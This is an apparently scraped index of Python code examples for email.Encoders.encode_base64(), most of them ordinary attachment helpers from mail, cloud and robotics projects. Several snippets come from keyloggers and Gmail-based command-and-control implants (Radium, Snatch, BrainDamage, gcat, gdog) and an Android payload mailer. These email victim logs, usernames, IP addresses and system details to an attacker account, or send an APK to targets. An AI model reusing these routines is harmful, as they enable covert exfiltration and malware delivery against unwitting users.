Python email.Encoders.encode_base64() Examples

The following are 28 code examples of email.Encoders.encode_base64(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module email.Encoders , or try the search function .
Example #1
Source File: utils.py    From cosa-nostra with GNU General Public License v3.0 6 votes vote down vote up
def attach(self, filename, content, content_type=None):
        if not self.multipart:
            msg = self.new_message()
            msg.add_header("Content-Type", "multipart/mixed")
            msg.attach(self.message)
            self.message = msg
            self.multipart = True
                        
        import mimetypes
        try:
            from email import encoders
        except:
            from email import Encoders as encoders
            
        content_type = content_type or mimetypes.guess_type(filename)[0] or "applcation/octet-stream"
        
        msg = self.new_message()
        msg.set_payload(content)
        msg.add_header('Content-Type', content_type)
        msg.add_header('Content-Disposition', 'attachment', filename=filename)
        
        if not content_type.startswith("text/"):
            encoders.encode_base64(msg)
            
        self.message.attach(msg) 
Example #2
Source File: utils.py    From nightmare with GNU General Public License v2.0 6 votes vote down vote up
def attach(self, filename, content, content_type=None):
        if not self.multipart:
            msg = self.new_message()
            msg.add_header("Content-Type", "multipart/mixed")
            msg.attach(self.message)
            self.message = msg
            self.multipart = True
                        
        import mimetypes
        try:
            from email import encoders
        except:
            from email import Encoders as encoders
            
        content_type = content_type or mimetypes.guess_type(filename)[0] or "applcation/octet-stream"
        
        msg = self.new_message()
        msg.set_payload(content)
        msg.add_header('Content-Type', content_type)
        msg.add_header('Content-Disposition', 'attachment', filename=filename)
        
        if not content_type.startswith("text/"):
            encoders.encode_base64(msg)
            
        self.message.attach(msg) 
Example #3
Source File: smtp.py    From peach with Mozilla Public License 2.0 6 votes vote down vote up
def send(self, data):
        """
        Publish some data

        @type	data: string
        @param	data: Data to publish
        """
        # Build Message Body
        msg = MIMEMultipart()
        msg['From'] = self.msgFrom
        msg['To'] = self.msgTo
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = self.msgSubject
        msg.attach(MIMEText(self.msgText))
        # Attach file
        part = MIMEBase('application', 'pdf')
        part.set_payload(data)
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % self.fileName)
        msg.attach(part)
        # Send email
        smtp = smtplib.SMTP(self.server)
        smtp.sendmail(self.msgFrom, self.msgTo, msg.as_string())
        smtp.close() 
Example #4
Source File: OpenCV.Sphinx.takePhotoSendEmailItalian.py    From pyrobotlab with Apache License 2.0 6 votes vote down vote up
def mail(to, subject, text, attach):
            msg = MIMEMultipart()

            msg['From'] = gmail_user
            msg['To'] = to
            msg['Subject'] = subject
 
            msg.attach(MIMEText(text))

            part = MIMEBase('application', 'octet-stream')
            part.set_payload(open(attach, 'rb').read())
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(attach))
            msg.attach(part)

            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            mailServer.login(gmail_user, gmail_pwd)
            mailServer.sendmail(gmail_user, to, msg.as_string())
            # Should be mailServer.quit(), but that crashes...
            mailServer.close() 
Example #5
Source File: utils.py    From Hatkey with GNU General Public License v3.0 6 votes vote down vote up
def attach(self, filename, content, content_type=None):
        if not self.multipart:
            msg = self.new_message()
            msg.add_header("Content-Type", "multipart/mixed")
            msg.attach(self.message)
            self.message = msg
            self.multipart = True
                        
        import mimetypes
        try:
            from email import encoders
        except:
            from email import Encoders as encoders
            
        content_type = content_type or mimetypes.guess_type(filename)[0] or "application/octet-stream"
        
        msg = self.new_message()
        msg.set_payload(content)
        msg.add_header('Content-Type', content_type)
        msg.add_header('Content-Disposition', 'attachment', filename=filename)
        
        if not content_type.startswith("text/"):
            encoders.encode_base64(msg)
            
        self.message.attach(msg) 
Example #6
Source File: Radiumkeylogger.py    From Radium with Apache License 2.0 5 votes vote down vote up
def sendData(fname, fext):
    attach = "C:\Users\Public\Intel\Logs" + '\\' + fname + fext

    ts = current_system_time.strftime("%Y%m%d-%H%M%S")
    SERVER = SMTP_SERVER
    PORT = 465
    USER = userkey
    PASS = passkey
    FROM = USER
    TO = userkey

    SUBJECT = "Attachment " + "From --> " + currentuser + " Time --> " + str(ts)
    TEXT = "This attachment is sent from python" + '\n\nUSER : ' + currentuser + '\nIP address : ' + ip_address

    message = MIMEMultipart()
    message['From'] = FROM
    message['To'] = TO
    message['Subject'] = SUBJECT
    message.attach(MIMEText(TEXT))

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
    message.attach(part)

    try:
        server = smtplib.SMTP_SSL()
        server.connect(SERVER, PORT)
        server.ehlo()
        server.login(USER, PASS)
        server.sendmail(FROM, TO, message.as_string())
        server.close()
    except Exception as e:
        print e

    return True

#Fucntion to steal chrome cookies 
Example #7
Source File: utils.py    From bokken with GNU General Public License v2.0 5 votes vote down vote up
def attach(self, filename, content, content_type=None):
        if not self.multipart:
            msg = self.new_message()
            msg.add_header("Content-Type", "multipart/mixed")
            msg.attach(self.message)
            self.message = msg
            self.multipart = True
                        
        import mimetypes
        try:
            from email import encoders
        except:
            from email import Encoders as encoders
            
        content_type = content_type or mimetypes.guess_type(filename)[0] or "applcation/octet-stream"
        
        msg = self.new_message()
        msg.set_payload(content)
        msg.add_header('Content-Type', content_type)
        msg.add_header('Content-Disposition', 'attachment', filename=filename)
        
        if not content_type.startswith("text/"):
            encoders.encode_base64(msg)
            
        self.message.attach(msg) 
Example #8
Source File: storcli_check.py    From storcli-check with MIT License 5 votes vote down vote up
def sendmail(subject, to, sender, body, mailserver, body_type="html", attachments=None, cc=None):
    """Send an email message using the specified mail server using Python's
    standard `smtplib` library and some extras (e.g. attachments).

    NOTE: This function has no authentication.  It was written for a mail server
    that already does sender/recipient validation.

    WARNING: This is a non-streaming message system.  You should not send large
    files with this function!

    NOTE: The body should include newline characters such that no line is greater
    than 990 characters.  Otherwise the email server will insert newlines which
    may not be appropriate for your content.
    http://stackoverflow.com/a/18568276
    """
    msg = MIMEMultipart()
    msg['Subject'] = subject
    msg['From'] = sender
    msg['To'] = ', '.join(to)

    if cc:
        msg['Cc'] = ", ".join(cc)
    else:
        cc = []

    msg.attach(MIMEText(body, body_type))

    attachments = attachments or []

    for attachment in attachments:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(attachment, "rb").read())
        Encoders.encode_base64(part)

        part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachment))

        msg.attach(part)

    server = smtplib.SMTP(mailserver)
    server.sendmail(sender, to + cc, msg.as_string())  # pragma: no cover 
Example #9
Source File: message.py    From python-compat-runtime with Apache License 2.0 5 votes vote down vote up
def _create_mime_attachment(self, content, mimetype):
        """
        Converts the content, mimetype pair into a MIME attachment object.
        """
        basetype, subtype = mimetype.split('/', 1)
        if basetype == 'text':
            encoding = self.encoding or settings.DEFAULT_CHARSET
            attachment = SafeMIMEText(smart_str(content, encoding), subtype, encoding)
        else:
            # Encode non-text attachments with base64.
            attachment = MIMEBase(basetype, subtype)
            attachment.set_payload(content)
            Encoders.encode_base64(attachment)
        return attachment 
Example #10
Source File: OpenCV.Sphinx.takePhotoSendEmail.py    From pyrobotlab with Apache License 2.0 5 votes vote down vote up
def mail(to, subject, text, attach):
            msg = MIMEMultipart()

            msg['From'] = gmail_user
            msg['To'] = to
            msg['Subject'] = subject
 
            msg.attach(MIMEText(text))

            part = MIMEBase('application', 'octet-stream')
            part.set_payload(open(attach, 'rb').read())
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(attach))
            msg.attach(part)

            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            mailServer.login(gmail_user, gmail_pwd)
            mailServer.sendmail(gmail_user, to, msg.as_string())
            # Should be mailServer.quit(), but that crashes...
            mailServer.close() 
Example #11
Source File: email.py    From pyrobotlab with Apache License 2.0 5 votes vote down vote up
def mail(to, subject, text, attach):
            msg = MIMEMultipart()

            msg['From'] = gmail_user
            msg['To'] = to
            msg['Subject'] = subject
 
            msg.attach(MIMEText(text))

            part = MIMEBase('application', 'octet-stream')
            part.set_payload(open(attach, 'rb').read())
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(attach))
            msg.attach(part)

            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            mailServer.login(gmail_user, gmail_pwd)
            mailServer.sendmail(gmail_user, to, msg.as_string())
            # Should be mailServer.quit(), but that crashes...
            mailServer.close() 
Example #12
Source File: recipe-576547.py    From code with MIT License 5 votes vote down vote up
def mail(to, subject, text, attach):
   msg = MIMEMultipart()

   msg['From'] = gmail_user
   msg['To'] = to
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   part = MIMEBase('application', 'octet-stream')
   part.set_payload(open(attach, 'rb').read())
   Encoders.encode_base64(part)
   part.add_header('Content-Disposition',
           'attachment; filename="%s"' % os.path.basename(attach))
   msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   # Should be mailServer.quit(), but that crashes...
   mailServer.close() 
Example #13
Source File: Email.py    From Awesome-Scripts with MIT License 5 votes vote down vote up
def enviaEmail(servidor, porta, FROM, PASS, TO, subject, texto, anexo=[]):
	global saida
	servidor = servidor
	porta = porta
	FROM = FROM
	PASS = PASS
	TO = TO
	subject = subject
	texto = texto
	msg = MIMEMultipart()
	msg['From'] = FROM
	msg['To'] = TO
	msg['Subject'] = subject
	msg.attach(MIMEText(texto))

	  for i in anexo:
		part = MIMEBase('application', 'octet-stream')
		part.set_payload(open(i, 'rb').read())
		Encoders.encode_base64(part)
		part.add_header('Content-Disposition','attachment;filename="%s"'% os.path.basename(i))
		msg.attach(part)

	  try:
		gm = smtplib.SMTP(servidor,porta)
		gm.ehlo()
		gm.starttls()
		gm.ehlo()
		gm.login(FROM, PASS)
		gm.sendmail(FROM, TO, msg.as_string())
		gm.close()

	  except Exception,e:
		mensagemErro = "Erro ao enviar o e-mail." % str(e)
		print '%s' % mensagemErro

# E-mail  addressee. 
Example #14
Source File: SendData.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def sendData(self, fname, fext):
        attach = fname + fext
        print '[*] Sending data %s ' %(attach)
        self.obfusdata(attach)
        attach = attach + '.dsotm'
        ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
        SERVER = "smtp.gmail.com"
        PORT = 465
        USER = userkey
        PASS = passkey
        FROM = USER
        TO = userkey
        SUBJECT = "Attachment " + "From --> " + curentuser + " Time --> " + str(ts)
        TEXT = "There's someone in my head, but it's not me." + '\n\nUSER : ' + curentuser + '\nIP address : ' + ip_address

        message = MIMEMultipart()
        message['From'] = FROM
        message['To'] = TO
        message['Subject'] = SUBJECT
        message.attach(MIMEText(TEXT))

        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(attach, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
        message.attach(part)

        try:
            server = smtplib.SMTP_SSL()
            server.connect(SERVER, PORT)
            server.ehlo()
            server.login(USER, PASS)
            server.sendmail(FROM, TO, message.as_string())
            server.close()
        except Exception as e:
            error_code = str(e).split('(')[1].split(',')[0]
            print e
            if error_code == '535':
                print e

        return True 
Example #15
Source File: Snatch.py    From Snatch with MIT License 5 votes vote down vote up
def sendData(fname,fext):
	
	attach = "C:\Users\Public\Intel\Logs"+'\\'+fname+fext
	
	ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
	SERVER = "smtp.gmail.com"
	PORT = 465
	USER= userkey
	PASS= passkey
	FROM = USER
	TO = userkey
	SUBJECT = "Attachment "+ "From --> " + curentuser+ " Time --> " + str(ts)
	TEXT = "This attachment is sent from python" + '\n\nUSER : ' + curentuser + '\nIP address : ' + ip_address
	
	message = MIMEMultipart()
	message['From'] = FROM
	message['To'] = TO
	message['Subject'] = SUBJECT
	message.attach(MIMEText(TEXT))

	part = MIMEBase('application', 'octet-stream')
	part.set_payload(open(attach, 'rb').read())
	Encoders.encode_base64(part)
	part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attach))
	message.attach(part)
	
	try:
		server = smtplib.SMTP_SSL()
		server.connect(SERVER,PORT)
		server.ehlo() 
		server.login(USER,PASS)
		server.sendmail(FROM, TO, message.as_string())
		server.close()
	except Exception as e:
		pass

	return True 
Example #16
Source File: gcat.py    From gcat with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]):

        if (botid is None) or (jobid is None):
            sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)")
        
        sub_header = 'gcat:{}:{}'.format(botid, jobid)

        msg = MIMEMultipart()
        msg['From'] = sub_header
        msg['To'] = gmail_user
        msg['Subject'] = sub_header
        msgtext = json.dumps({'cmd': cmd, 'arg': arg})
        msg.attach(MIMEText(str(msgtext)))
        
        for attach in attachment:
            if os.path.exists(attach) == True:  
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
                msg.attach(part)

        mailServer = SMTP()
        mailServer.connect(server, server_port)
        mailServer.starttls()
        mailServer.login(gmail_user,gmail_pwd)
        mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
        mailServer.quit()

        print "[*] Command sent successfully with jobid: {}".format(jobid) 
Example #17
Source File: implant.py    From gcat with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def run(self):
        sub_header = uniqueid
        if self.jobid:
            sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid)
        elif self.checkin:
            sub_header = 'checkin:{}'.format(uniqueid)

        msg = MIMEMultipart()
        msg['From'] = sub_header
        msg['To'] = gmail_user
        msg['Subject'] = sub_header

        message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg': self.text})
        msg.attach(MIMEText(str(message_content)))

        for attach in self.attachment:
            if os.path.exists(attach) == True:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
                msg.attach(part)

        while True:
            try:
                mailServer = SMTP()
                mailServer.connect(server, server_port)
                mailServer.starttls()
                mailServer.login(gmail_user,gmail_pwd)
                mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
                mailServer.quit()
                break
            except Exception as e:
                #if verbose == True: print_exc()
                time.sleep(10) 
Example #18
Source File: android_attack.py    From Gloom-Framework with GNU General Public License v3.0 5 votes vote down vote up
def do_sms_mail(self):
        """
        ATTACH PAYLOAD and send Mail
        """
        try:
            from email import Encoders

        except ImportError as gi:
            print self.ERROR_STRING + str(gi)

        except:
            pass

        SUBJECT = self.SUBJECT
        ATTACK_MSG_ = MIMEMultipart()
        ATTACK_MSG_['Subject'] = (self.SUBJECT + '\n' + self.MAIN_MESSAGE)
        ATTACK_MSG_['From'] = self.GMAIL
        ATTACK_MSG_['To'] = ', '.join(self.TARGET)

        extension = '.apk'

        final_load = self.PAYLOAD_NAME + extension

        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(str(final_load), "rb").read())
        Encoders.encode_base64(part)

        part.add_header('Content-Disposition', 'attachment; filename="%s"'
                % str(final_load))

        ATTACK_MSG_.attach(part)

        try:
            self.smtp.sendmail(self.GMAIL, self.TARGET, ATTACK_MSG_.as_string())
            print self.INFO_STRING + " Sent Payload Successfully!"
            self.IS_SENT = True

        except:
            print self.ERROR_STRING + " An Unknown Error Occured"
            sys.exit(1) 
Example #19
Source File: robot_controller_interface.py    From visual_foresight with MIT License 5 votes vote down vote up
def _send_email(self, message, attachment=None, subject=None):
        try:
            # loads credentials and receivers
            assert self._is_email_setup, "no credentials"
            address, password = self._email_credentials['address'], self._email_credentials['password']
            if 'gmail' in address:
                smtp_server = "smtp.gmail.com"
            else:
                raise NotImplementedError
            receivers = self._email_credentials['receivers']

            # configure default subject
            if subject is None:
                subject = 'Data Collection Update: {} started on {}'.format(self._robot_name, self._start_str)
            
            # constructs message
            msg = MIMEMultipart()
            msg['Subject'] = subject 
            msg['From'] = address
            msg['To'] = ', '.join(receivers)
            msg.attach(MIMEText(message))

            if attachment:
                attached_part = MIMEBase('application', "octet-stream")
                attached_part.set_payload(open(attachment, "rb").read())
                Encoders.encode_base64(attached_part)
                attached_part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(attachment))
                msg.attach(attached_part)

            # logs in and sends
            server = smtplib.SMTP_SSL(smtp_server)
            server.login(address, password)
            server.sendmail(address, receivers, msg.as_string())
        except:
            logging.getLogger('robot_logger').error('email failed! check credentials (either incorrect or not supplied)') 
Example #20
Source File: gdog.py    From gdog with GNU General Public License v3.0 5 votes vote down vote up
def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]):

        if (botid is None) or (jobid is None):
            sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)")
        
        sub_header = 'gdog:{}:{}'.format(botid, jobid)

        msg = MIMEMultipart()
        msg['From'] = sub_header
        msg['To'] = gmail_user
        msg['Subject'] = sub_header
        msgtext = json.dumps({'cmd': cmd, 'arg': arg})
        msg.attach(MIMEText(str(infoSec.Encrypt(msgtext))))
        
        for attach in attachment:
            if os.path.exists(attach) == True:  
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
                msg.attach(part)

        mailServer = SMTP()
        mailServer.connect(server, server_port)
        mailServer.starttls()
        mailServer.login(gmail_user,gmail_pwd)
        mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
        mailServer.quit()

        print "[*] Command sent successfully with jobid: {}".format(jobid) 
Example #21
Source File: calendar_invite_util.py    From resilient-community-apps with MIT License 4 votes vote down vote up
def build_email_message(calendar_invite_datetime, calendar_invite_subject, calendar_invite_description, nickname, e_login, from_string, attendees):
    """Build the email file to be sent(ICS file)."""
    CRLF = "\r\n"

    organizer = "ORGANIZER;CN={}:mailto:{}".format(nickname, e_login)
    meeting_time = datetime.fromtimestamp(calendar_invite_datetime/1000)

    ddtstart = meeting_time
    duration = timedelta(hours=1)
    ddtstart = ddtstart
    dtend    = ddtstart + duration
    dtstamp = datetime.now().strftime("%Y%m%dT%H%M%SZ")
    dtstart = ddtstart.strftime("%Y%m%dT%H%M%SZ")
    dtend = dtend.strftime("%Y%m%dT%H%M%SZ")

    description = u"DESCRIPTION: {}{}".format(calendar_invite_description, CRLF)
    attendee = ""
    for att in attendees:
        attendee += "ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-    PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE" + CRLF + " ;CN=" + att + ";X-NUM-GUESTS=0:" + CRLF + " mailto:" + att + CRLF
    ical = "BEGIN:VCALENDAR" + CRLF + "PRODID:pyICSParser" + CRLF + "VERSION:2.0" + CRLF + "CALSCALE:GREGORIAN" + CRLF
    ical += "METHOD:REQUEST" + CRLF + "BEGIN:VEVENT" + CRLF + "DTSTART:" + dtstart + CRLF + "DTEND:" + dtend + CRLF + "DTSTAMP:" + dtstamp + CRLF + organizer + CRLF
    ical += "UID:FIXMEUID" + dtstamp + CRLF
    ical += attendee + "CREATED:" + dtstamp + CRLF + description + "LAST-MODIFIED:" + dtstamp + CRLF + "LOCATION:" + CRLF + "SEQUENCE:0" + CRLF + "STATUS:CONFIRMED" + CRLF
    ical += "SUMMARY: [Resilient Incident] {} {}".format(calendar_invite_subject,
                                                    CRLF) + "TRANSP:OPAQUE" + CRLF + "END:VEVENT" + CRLF + "END:VCALENDAR" + CRLF

    eml_body = "Email body visible in the invite of outlook and outlook.com but not google calendar"
    msg = MIMEMultipart('mixed')
    msg['Reply-To'] = from_string
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = u"[Resilient Incident] {}".format(calendar_invite_subject)
    msg['From'] = from_string
    msg['To'] = ",".join(attendees)

    part_email = MIMEText(eml_body, "html")
    part_cal = MIMEText(ical, 'calendar;method=REQUEST')

    msgAlternative = MIMEMultipart('alternative')
    msg.attach(msgAlternative)

    ical_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics"))
    ical_atch.set_payload(ical)
    if sys.version_info[0] == 2:
        Encoders.encode_base64(ical_atch)
    else:
        encode_base64(ical_atch)
    ical_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % ("invite.ics"))

    msgAlternative.attach(part_email)
    msgAlternative.attach(part_cal)

    return msg.as_string() 
Example #22
Source File: utils.py    From canvas with BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def notify(subject, body=None, html_body=None, to_string=None, attachments=None, append_instance_id=True):
    attachments = attachments or []
    if append_instance_id:
        subject = "[%s] %s" % (boto.config.get_value("Instance", "instance-id"), subject)
    if not to_string:
        to_string = boto.config.get_value('Notification', 'smtp_to', None)
    if to_string:
        try:
            from_string = boto.config.get_value('Notification', 'smtp_from', 'boto')
            msg = MIMEMultipart()
            msg['From'] = from_string
            msg['Reply-To'] = from_string
            msg['To'] = to_string
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = subject
        
            if body:
                msg.attach(MIMEText(body))

            if html_body:
                part = MIMEBase('text', 'html')
                part.set_payload(html_body)
                Encoders.encode_base64(part)
                msg.attach(part)

            for part in attachments:
                msg.attach(part)

            smtp_host = boto.config.get_value('Notification', 'smtp_host', 'localhost')

            # Alternate port support
            if boto.config.get_value("Notification", "smtp_port"):
                server = smtplib.SMTP(smtp_host, int(boto.config.get_value("Notification", "smtp_port")))
            else:
                server = smtplib.SMTP(smtp_host)

            # TLS support
            if boto.config.getbool("Notification", "smtp_tls"):
                server.ehlo()
                server.starttls()
                server.ehlo()
            smtp_user = boto.config.get_value('Notification', 'smtp_user', '')
            smtp_pass = boto.config.get_value('Notification', 'smtp_pass', '')
            if smtp_user:
                server.login(smtp_user, smtp_pass)
            server.sendmail(from_string, to_string, msg.as_string())
            server.quit()
        except:
            boto.log.exception('notify failed') 
Example #23
Source File: utils.py    From canvas with BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def write_mime_multipart(content, compress=False, deftype='text/plain', delimiter=':'):
    """Description:
    :param content: A list of tuples of name-content pairs. This is used
    instead of a dict to ensure that scripts run in order
    :type list of tuples:

    :param compress: Use gzip to compress the scripts, defaults to no compression
    :type bool:

    :param deftype: The type that should be assumed if nothing else can be figured out
    :type str:

    :param delimiter: mime delimiter
    :type str:

    :return: Final mime multipart
    :rtype: str:
    """
    wrapper = MIMEMultipart()
    for name,con in content:
        definite_type = guess_mime_type(con, deftype)
        maintype, subtype = definite_type.split('/', 1)
        if maintype == 'text':
            mime_con = MIMEText(con, _subtype=subtype)
        else:
            mime_con = MIMEBase(maintype, subtype)
            mime_con.set_payload(con)
            # Encode the payload using Base64
            Encoders.encode_base64(mime_con)
        mime_con.add_header('Content-Disposition', 'attachment', filename=name)
        wrapper.attach(mime_con)
    rcontent = wrapper.as_string()

    if compress:
        buf = StringIO.StringIO()
        gz = gzip.GzipFile(mode='wb', fileobj=buf)
        try:
            gz.write(rcontent)
        finally:
            gz.close()
        rcontent = buf.getvalue()

    return rcontent 
Example #24
Source File: mail.py    From learn_python3_spider with MIT License 4 votes vote down vote up
def send(self, to, subject, body, cc=None, attachs=(), mimetype='text/plain', charset=None, _callback=None):
        if attachs:
            msg = MIMEMultipart()
        else:
            msg = MIMENonMultipart(*mimetype.split('/', 1))

        to = list(arg_to_iter(to))
        cc = list(arg_to_iter(cc))

        msg['From'] = self.mailfrom
        msg['To'] = COMMASPACE.join(to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject
        rcpts = to[:]
        if cc:
            rcpts.extend(cc)
            msg['Cc'] = COMMASPACE.join(cc)

        if charset:
            msg.set_charset(charset)

        if attachs:
            msg.attach(MIMEText(body, 'plain', charset or 'us-ascii'))
            for attach_name, mimetype, f in attachs:
                part = MIMEBase(*mimetype.split('/'))
                part.set_payload(f.read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="%s"' \
                    % attach_name)
                msg.attach(part)
        else:
            msg.set_payload(body)

        if _callback:
            _callback(to=to, subject=subject, body=body, cc=cc, attach=attachs, msg=msg)

        if self.debug:
            logger.debug('Debug mail sent OK: To=%(mailto)s Cc=%(mailcc)s '
                         'Subject="%(mailsubject)s" Attachs=%(mailattachs)d',
                         {'mailto': to, 'mailcc': cc, 'mailsubject': subject,
                          'mailattachs': len(attachs)})
            return

        dfd = self._sendmail(rcpts, msg.as_string().encode(charset or 'utf-8'))
        dfd.addCallbacks(self._sent_ok, self._sent_failed,
            callbackArgs=[to, cc, subject, len(attachs)],
            errbackArgs=[to, cc, subject, len(attachs)])
        reactor.addSystemEventTrigger('before', 'shutdown', lambda: dfd)
        return dfd 
Example #25
Source File: mail.py    From learn_python3_spider with MIT License 4 votes vote down vote up
def send(self, to, subject, body, cc=None, attachs=(), mimetype='text/plain', charset=None, _callback=None):
        if attachs:
            msg = MIMEMultipart()
        else:
            msg = MIMENonMultipart(*mimetype.split('/', 1))

        to = list(arg_to_iter(to))
        cc = list(arg_to_iter(cc))

        msg['From'] = self.mailfrom
        msg['To'] = COMMASPACE.join(to)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject
        rcpts = to[:]
        if cc:
            rcpts.extend(cc)
            msg['Cc'] = COMMASPACE.join(cc)

        if charset:
            msg.set_charset(charset)

        if attachs:
            msg.attach(MIMEText(body, 'plain', charset or 'us-ascii'))
            for attach_name, mimetype, f in attachs:
                part = MIMEBase(*mimetype.split('/'))
                part.set_payload(f.read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="%s"' \
                    % attach_name)
                msg.attach(part)
        else:
            msg.set_payload(body)

        if _callback:
            _callback(to=to, subject=subject, body=body, cc=cc, attach=attachs, msg=msg)

        if self.debug:
            logger.debug('Debug mail sent OK: To=%(mailto)s Cc=%(mailcc)s '
                         'Subject="%(mailsubject)s" Attachs=%(mailattachs)d',
                         {'mailto': to, 'mailcc': cc, 'mailsubject': subject,
                          'mailattachs': len(attachs)})
            return

        dfd = self._sendmail(rcpts, msg.as_string().encode(charset or 'utf-8'))
        dfd.addCallbacks(self._sent_ok, self._sent_failed,
            callbackArgs=[to, cc, subject, len(attachs)],
            errbackArgs=[to, cc, subject, len(attachs)])
        reactor.addSystemEventTrigger('before', 'shutdown', lambda: dfd)
        return dfd 
Example #26
Source File: output-email.py    From honssh with BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def email(self, subject, body):
        try:
            # Start send mail code - provided by flofrihandy, modified by peg
            msg = MIMEMultipart()
            msg['Subject'] = subject
            msg['From'] = self.cfg.get(['output-email', 'from'])
            msg['To'] = self.cfg.get(['output-email', 'to'])
            file_found = False
            timeout = 0

            while not file_found:
                if not os.path.isfile(body):
                    timeout += 1
                    time.sleep(1)
                else:
                    file_found = True

                if timeout == 30:
                    break

            if file_found:
                time.sleep(2)

                fp = open(body, 'rb')
                msg_text = MIMEText(fp.read())
                fp.close()

                msg.attach(msg_text)

                for tty in self.ttyFiles:
                    fp = open(tty, 'rb')
                    logdata = MIMEBase('application', "octet-stream")
                    logdata.set_payload(fp.read())
                    fp.close()

                    Encoders.encode_base64(logdata)
                    logdata.add_header('Content-Disposition', 'attachment', filename=os.path.basename(tty))
                    msg.attach(logdata)

                s = smtplib.SMTP(self.cfg.get(['output-email', 'host']), self.cfg.getint(['output-email', 'port']))

                username = self.cfg.get(['output-email', 'username'])
                password = self.cfg.get(['output-email', 'password'])

                if len(username) > 0 and len(password) > 0:
                    s.ehlo()

                    if self.cfg.getboolean(['output-email', 'use_tls']):
                        s.starttls()

                    if self.cfg.getboolean(['output-email', 'use_smtpauth']):
                        s.login(username, password)

                s.sendmail(msg['From'], msg['To'].split(','), msg.as_string())
                s.quit()
                # End send mail code
        except Exception, ex:
            log.msg(log.LRED, '[PLUGIN][EMAIL][ERR]', str(ex)) 
Example #27
Source File: client.py    From gdog with GNU General Public License v3.0 4 votes vote down vote up
def run(self):
        sub_header = sysInfo.UniqueID
        if self.jobid:
            sub_header = 'dmp:{}:{}'.format(sysInfo.UniqueID, self.jobid)
        elif self.checkin:
            sub_header = 'hereiam:{}'.format(sysInfo.UniqueID)

        msg = MIMEMultipart()
        msg['From'] = sub_header
        msg['To'] = gmail_user
        msg['Subject'] = sub_header

        message_content = infoSec.Encrypt(json.dumps({
                  'fgwindow': detectForgroundWindows(), 
                  'user': '{0}@{1}'.format(sysInfo.User, sysInfo.PCName),
                  'arch': sysInfo.Architecture, 
                  'os': sysInfo.WinVer, 
                  'cpu': sysInfo.CPU,
                  'gpu': sysInfo.GPU,
                  'motherboard': sysInfo.Motherboard,
                  'isAdmin': sysInfo.isAdmin,
                  'chassistype': sysInfo.ChassisType,
                  'totalram': sysInfo.TotalRam,
                  'bios': sysInfo.Bios,
                  'pid': sysInfo.PID,
                  'mac': sysInfo.MAC,
                  'ipv4': sysInfo.IPv4,
                  'av': sysInfo.Antivirus,
                  'firewall': sysInfo.Firewall,
                  'antispyware': sysInfo.Antispyware,
                  'geolocation': sysInfo.Geolocation,
                  'tag': TAG,
